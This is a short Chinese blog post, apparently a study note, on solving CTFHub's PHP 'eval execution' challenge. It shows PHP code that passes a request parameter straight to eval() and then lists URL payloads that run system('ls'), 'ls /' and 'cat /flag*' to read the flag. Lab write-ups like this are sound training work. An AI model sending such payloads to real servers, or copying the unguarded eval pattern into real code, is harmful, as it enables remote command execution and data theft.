技术栈

CTFHub 技能树 Web RCE eval执行(学习记录)

马船长2024-12-15 17:23

eval执行

源代码

php 复制代码
<?php
if (isset($_REQUEST['cmd'])) {
    eval($_REQUEST["cmd"]);
} else {
    highlight_file(__FILE__);
}
?>

PHP代码显示,要求将命令赋值给cmd然后执行

先查看一下根目录文件 /?cmd=system("ls");

查看上一级目录找flag文件

/?cmd=system("ls /");

打开flag文件发现FLAG

/?cmd=system("cat /flag_9237");

linux在读取flag的时候可以使用*去匹配

cat /flag*

/?cmd=system("cat /flag*");

上一篇:博客MDX渲染方案
下一篇:在IDE中使用Git
相关推荐
95236
6 分钟前
数据结构-堆
java·数据结构·学习·算法
im_AMBER
1 小时前
Leetcode 57
笔记·学习·算法·leetcode
im_AMBER
1 小时前
Leetcode 58 | 附:滑动窗口题单
笔记·学习·算法·leetcode
伯明翰java
1 小时前
Redis学习笔记-List列表(2)
redis·笔记·学习
云帆小二
1 小时前
从开发语言出发如何选择学习考试系统
开发语言·学习
Elias不吃糖
2 小时前
总结我的小项目里现在用到的Redis
c++·redis·学习
BullSmall
2 小时前
《道德经》第六十三章
学习
AA陈超
2 小时前
使用UnrealEngine引擎,实现鼠标点击移动
c++·笔记·学习·ue5·虚幻引擎
BullSmall
3 小时前
《道德经》第六十二章
学习
Knox_Lai
3 小时前
数据结构与算法学习(0)-常见数据结构和算法
c语言·数据结构·学习·算法
热门推荐
01GitHub 镜像站点02今天 Cloudflare 全球事故,连 GPT 和你的网站都一起“掉线”了03UV安装并设置国内源04安娜的档案(Anna’s Archive) 镜像网站/国内最新可访问入口(持续更新)05Linux下V2Ray安装配置指南06BongoCat - 跨平台键盘猫动画工具07全球最强模型Grok4,国内已可免费使用!(附教程)08Valdi:Snapchat 开源的新一代跨平台 UI 框架09Labelme从安装到标注:零基础完整指南10swagger xss漏洞复现